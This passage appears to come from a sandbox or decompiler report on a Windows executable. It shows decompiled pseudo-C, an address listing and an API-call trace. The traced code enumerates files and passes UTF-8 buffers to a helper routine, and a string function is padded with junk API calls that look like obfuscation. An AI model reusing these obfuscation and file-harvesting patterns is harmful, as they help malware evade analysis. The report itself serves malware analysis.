								_t383 = E0041AD76(_v32, _t601, _t670);
								_t563 =  *0x42322c; // 0x513bad8
								_t385 = E0041AD76(E0041AD76(_t383, _t563, _t670), _v16, _t670);
								_t565 =  *0x42322c; // 0x513bad8
								_t475 = E0041AD76(E0041AD76(_t385, _t565, _t670), _v24, _t670);
								_t388 =  *0x4231d4; // 0x513b168
								_v140 = _t388;
								_t389 =  *0x4231f4; // 0x513bc18
								_v136 = _t475;
								_v132 = _t389;
								_v32 = _t475;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t632 = _v12 + 1;
								_v12 = _t632;
							}
							_t602 = _v80;
							_v80 = _t602;
							_t337 = lstrlenW(_t602);
							_t671 = _t337;
							if(_t337 > 0) {
								_t555 =  *0x423250; // 0x513b918
								_v20 = E0041AD76(_v20, _t555, _t671);
								_t375 = E0041AD76(_t602, _v44, _t671);
								_t557 =  *0x42322c; // 0x513bad8
								_t377 = E0041AD76(E0041AD76(_t375, _t557, _t671), _v16, _t671);
								_t559 =  *0x42322c; // 0x513bad8
								_t475 = E0041AD76(E0041AD76(_t377, _t559, _t671), _v24, _t671);
								_t380 =  *0x423258; // 0x513adb0
								_v152 = _t380;
								_t381 =  *0x4231f4; // 0x513bc18
								_v148 = _t475;
								_v144 = _t381;
								_v80 = _t475;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t632 = _v12 + 1;
								_v12 = _t632;
							}
							_t603 = _v20;
							_t338 = lstrlenW(_v20);
							_t673 = _t338;
							if(_t338 > 0) {
								_t549 =  *0x423250; // 0x513b918
								_t367 = E0041AD76(E0041AD76(_t603, _t549, _t673), _v44, _t673);
								_t551 =  *0x42322c; // 0x513bad8
								_t369 = E0041AD76(E0041AD76(_t367, _t551, _t673), _v16, _t673);
								_t553 =  *0x42322c; // 0x513bad8
								_t371 = E0041AD76(E0041AD76(_t369, _t553, _t673), _v24, _t673);
								_t475 = _t371;
								_t372 =  *0x423238; // 0x513ca98
								_v164 = _t372;
								_t373 =  *0x4231f4; // 0x513bc18
								_v160 = _t371;
								_v156 = _t373;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t632 = _v12 + 1;
								_v12 = _t632;
							}
							_t604 = _v60;
							E004042C6(_a8, _t604,  &_v48, _t475, _t467); // executed
							E00404593(_a8, _t604,  &_v48, _a8, _t467); // executed
							_t655 = _t659 + 0x18;
							if(_t632 != 0) {
								L40:
								_t343 = LocalAlloc(0x40, 0x208);
								_t344 = LocalAlloc(0x40, 0x208);
								_t546 = 0x10;
								_v100 = E00416B1A(_t343, _t546);
								_t346 = StrCpyW(_t344,  *0x423230);
								_t607 = _v100;
								_t347 = E0041AD76(_t346, _t607, _t676);
								_v64 = _v64 & 0x00000000;
								_v36 = _t347;
								_t348 =  *0x423224; // 0x513bc38
								_v68 = _t348;
								_v40 = E00413A99( &_v36, _t676);
								_t634 = LocalAlloc(0x40, 0x184);
								_t352 = WideCharToMultiByte(0xfde9, 0, _t607, 0xffffffff, 0, 0, 0, 0);
								if(_t352 != 0 && WideCharToMultiByte(0xfde9, 0, _t607, 0xffffffff, _t634, _t352, 0, 0) != 0) {
									E004133D0(_v112, _t634, _v12, _v28, _v48, _v60, _v40,  &_v68); // executed
									_t655 = _t655 + 0x18;
								}
								LocalFree(_t634);
								LocalFree(_v40);
								LocalFree(_v36);
								LocalFree(_t607);
								_t604 = _v60;
								goto L44;
							} else {
								_t676 = _v48 - _t632;
								if(_v48 <= _t632) {
									L44:
									LocalFree(_v32); // executed
									LocalFree(_v56);
									LocalFree(_v80); // executed
									LocalFree(_v28);
									LocalFree(_t604);
									_t601 = _v44;
									_t627 = _v96;
									goto L45;
								}
								goto L40;
							}
						}
						L45:
						LocalFree(_t627);
						_t307 = _v16;
						if(_t307 != 0) {
							LocalFree(_t307);
						}
						_t309 = _v52 + 1;
						_v52 = _t309;
					} while (_t309 < 0x64);
					LocalFree(_t601);
					LocalFree(_t467);
					LocalFree(_v24);
					LocalFree(_v76);
					return _v92;
				}
			}

0x004021f6
0x004021fa
0x00402202
0x00402207
0x0040220a
0x0040220d
0x00402214
0x00402217
0x00402221
0x00402225
0x00402237
0x00402247
0x00402254
0x00402257
0x00402271
0x0040227b
0x0040227e
0x00402284
0x00402287
0x004022a4
0x004022b6
0x004022b9
0x004022c6
0x004022c9
0x004022d9
0x004022dc
0x004022e9
0x004022ec
0x004022ef
0x004022f5
0x004022f9
0x004022fd
0x00402300
0x0040230d
0x0040231d
0x00402329
0x00402331
0x0040233c
0x00402341
0x00402344
0x00402347
0x00402349
0x0040269b
0x0040269e
0x004026a7
0x004026b0
0x004026b9
0x004026c2
0x004026cb
0x004026d1
0x004026d4
0x004026d6
0x004026d9
0x004026d9
0x00000000
0x004026d6
0x0040235e
0x00402372
0x0040237e
0x0040238f
0x00402392
0x00402397
0x004023a0
0x004023a8
0x004023ac
0x004023b5
0x004023b7
0x004023be
0x004023c3
0x004023d5
0x004023da
0x004023f7
0x004023f9
0x00402400
0x00402405
0x00402408
0x0040240d
0x00402410
0x00402413
0x00402414
0x00402417
0x00402418
0x00402419
0x00402419
0x00402422
0x0040242a
0x0040242e
0x00402437
0x00402439
0x004024a1
0x0040243b
0x00402440
0x00402445
0x00402457
0x0040245c
0x0040247a
0x0040247c
0x00402481
0x00402484
0x00402489
0x0040248f
0x00402492
0x00402495
0x00402496
0x00402497
0x0040249b
0x0040249c
0x0040249c
0x004024a4
0x004024a8
0x004024b1
0x004024b3
0x004024ba
0x004024bf
0x004024d1
0x004024d6
0x004024f0
0x004024f2
0x004024fa
0x004024fd
0x00402502
0x00402508
0x0040250b
0x0040250e
0x0040250f
0x00402510
0x00402514
0x00402514
0x00402515
0x00402515
0x00402521
0x00402523
0x0040252b
0x00402530
0x00402542
0x00402547
0x00402559
0x00402561
0x00402563
0x0040256b
0x0040256e
0x00402573
0x00402579
0x0040257c
0x0040257d
0x0040257e
0x00402582
0x00402582
0x00402583
0x00402583
0x00402592
0x004025a6
0x004025ab
0x004025ae
0x004025b0
0x004025bb
0x004025c3
0x004025ce
0x004025d6
0x004025e6
0x004025ea
0x004025f0
0x004025f7
0x004025fc
0x00402603
0x00402606
0x0040260b
0x0040261a
0x00402623
0x00402634
0x0040263a
0x0040263c
0x0040264d
0x00402653
0x00402655
0x00402670
0x00402675
0x00402675
0x00402655
0x00402679
0x00402682
0x0040268b
0x00402692
0x00000000
0x004025b2
0x004025b2
0x004025b5
0x00402698
0x00402698
0x00000000
0x00402698
0x00000000
0x004025b5
0x004025b0
0x00000000
0x00402259
0x0040225e
0x004026df
0x004026df
0x004026e3
0x004026f7
0x00402700
0x00402702
0x00402705
0x0040270b
0x00402723
0x00402729
0x0040270d
0x00402717
0x00402719
0x00402719
0x00402731
0x0040273f
0x00402745
0x00402748
0x0040274e
0x00402755
0x00402757
0x00402763
0x00402766
0x00402772
0x00402775
0x00402781
0x00402784
0x0040278a
0x0040278d
0x00402791
0x0040279b
0x004027aa
0x004027bb
0x004027ca
0x004027d5
0x004027e4
0x004027f8
0x00402804
0x00402815
0x00402818
0x0040281d
0x00402820
0x00402823
0x00402827
0x00402835
0x0040283b
0x0040283d
0x004028b8
0x0040283f
0x0040283f
0x00402848
0x00402852
0x00402855
0x0040285a
0x0040286c
0x00402871
0x0040288e
0x00402890
0x00402897
0x0040289c
0x0040289f
0x004028a4
0x004028a7
0x004028aa
0x004028ab
0x004028ae
0x004028af
0x004028b0
0x004028b0
0x004028bb
0x004028bf
0x004028c2
0x004028d0
0x004028d6
0x004028d8
0x0040295e
0x004028de
0x004028de
0x004028f1
0x004028f4
0x004028f9
0x0040290b
0x00402910
0x00402931
0x00402933
0x00402938
0x0040293e
0x00402943
0x0040294c
0x0040294f
0x00402952
0x00402953
0x00402954
0x00402958
0x00402959
0x00402959
0x00402961
0x00402965
0x00402968
0x0040296e
0x00402970
0x00402976
0x00402989
0x0040298c
0x00402991
0x004029a3
0x004029a8
0x004029c2
0x004029c4
0x004029cf
0x004029d5
0x004029da
0x004029e3
0x004029e9
0x004029ec
0x004029ed
0x004029ee
0x004029f2
0x004029f3
0x004029f3
0x004029f6
0x004029fa
0x00402a00
0x00402a02
0x00402a04
0x00402a16
0x00402a1b
0x00402a2d
0x00402a32
0x00402a44
0x00402a4c
0x00402a4e
0x00402a59
0x00402a5f
0x00402a64
0x00402a6d
0x00402a73
0x00402a74
0x00402a75
0x00402a79
0x00402a7a
0x00402a7a
0x00402a7d
0x00402a8b
0x00402a9e
0x00402aa3
0x00402aa8
0x00402ab3
0x00402abb
0x00402ac6
0x00402ace
0x00402ade
0x00402ae2
0x00402ae8
0x00402aef
0x00402af4
0x00402afb
0x00402afe
0x00402b03
0x00402b12
0x00402b1b
0x00402b2c
0x00402b34
0x00402b68
0x00402b6d
0x00402b6d
0x00402b71
0x00402b7a
0x00402b83
0x00402b8a
0x00402b90
0x00000000
0x00402aaa
0x00402aaa
0x00402aad
0x00402b93
0x00402b96
0x00402b9f
0x00402ba8
0x00402bb1
0x00402bb8
0x00402bbe
0x00402bc1
0x00000000
0x00402bc1
0x00000000
0x00402aad
0x00402aa8
0x00402bc4
0x00402bc5
0x00402bcb
0x00402bd0
0x00402bd3
0x00402bd3
0x00402bdc
0x00402bdd
0x00402be0
0x00402bea
0x00402bf1
0x00402bfa
0x00402c04
0x00000000
0x00402c0a

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000), ref: 0040221A
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402228
LocalAlloc.KERNEL32(00000040,00000400), ref: 0040223A
LocalAlloc.KERNEL32(00000040,00000100), ref: 0040224A
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 0040225E
StrCpyW.SHLWAPI(00000000,00000000), ref: 0040226B
FindFirstFileW.KERNEL32(00000000,?), ref: 0040227E
LocalAlloc.KERNEL32(00000040,00000400), ref: 004026EA
LocalAlloc.KERNEL32(00000040,00000080), ref: 004026FA
lstrlenW.KERNEL32(?), ref: 004028C2
lstrlenW.KERNEL32 ref: 004028D0
lstrlenW.KERNEL32(?), ref: 00402968
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402ABB
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402AC6
StrCpyW.SHLWAPI(00000000), ref: 00402AE2

Part of subcall function 00413A99: LocalAlloc.KERNELBASE(00000040,0000FF78,00000000,0040AD5E), ref: 00413AA3

lstrlenW.KERNEL32(00000000), ref: 004029FA

Part of subcall function 0041AD76: RealDriveType.SHELL32(6459A2D3,00000000), ref: 0041B394
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B39A
Part of subcall function 0041AD76: RealDriveType.SHELL32(FF4BA676,00000000), ref: 0041B3A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3A9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3AF
Part of subcall function 0041AD76: RealDriveType.SHELL32(D97D5CDF,00000000), ref: 0041B3B8
Part of subcall function 0041AD76: RealDriveType.SHELL32(709B99DB,00000000), ref: 0041B3C1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3C7
Part of subcall function 0041AD76: RealDriveType.SHELL32(AC38C7DA,00000000), ref: 0041B3D0
Part of subcall function 0041AD76: RealDriveType.SHELL32(01624B42,00000000), ref: 0041B3D9
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3DF
Part of subcall function 0041AD76: RealDriveType.SHELL32(2027B2EF,00000000), ref: 0041B3E8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3EE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3F4
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B3FA
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B400
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B406
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B40C
Part of subcall function 0041AD76: RealDriveType.SHELL32(26293B1F,00000000), ref: 0041B415
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B41B
Part of subcall function 0041AD76: RealDriveType.SHELL32(28C398C5,00000000), ref: 0041B424
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD324B5E,00000000), ref: 0041B42D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B433
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B439
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B43F
Part of subcall function 0041AD76: RealDriveType.SHELL32(BD15EE40,00000000), ref: 0041B448

StrCpyW.SHLWAPI(00000000,?), ref: 00402711

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

wsprintfW.USER32 ref: 00402723
PathCombineW.SHLWAPI(00000000,?,00000000), ref: 00402731
FindFirstFileW.KERNELBASE(00000000,?), ref: 0040273F
LocalAlloc.KERNELBASE(00000040,00200000), ref: 00402757
LocalAlloc.KERNELBASE(00000040,00200000), ref: 00402766
LocalAlloc.KERNELBASE(00000040,00800000), ref: 00402775
LocalAlloc.KERNELBASE(00000040,00400000), ref: 00402784
LocalAlloc.KERNEL32(00000040,00000400), ref: 0040279E
LocalAlloc.KERNEL32(00000040,00001000), ref: 004027AD
lstrlenW.KERNEL32(?), ref: 00402827
lstrlenW.KERNEL32 ref: 00402835
LocalAlloc.KERNEL32(00000040,00000184), ref: 00402B15
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00402B2C
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00402B45

Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?), ref: 004133E5
Part of subcall function 004133D0: LocalAlloc.KERNEL32(00000040,00000208,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 004133F7
Part of subcall function 004133D0: StrStrW.SHLWAPI(004101AD,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 0041343C
Part of subcall function 004133D0: lstrlenW.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041346E
Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413485

LocalFree.KERNEL32(00000000), ref: 00402B71
LocalFree.KERNEL32(?), ref: 00402B7A
LocalFree.KERNEL32(?), ref: 00402B83
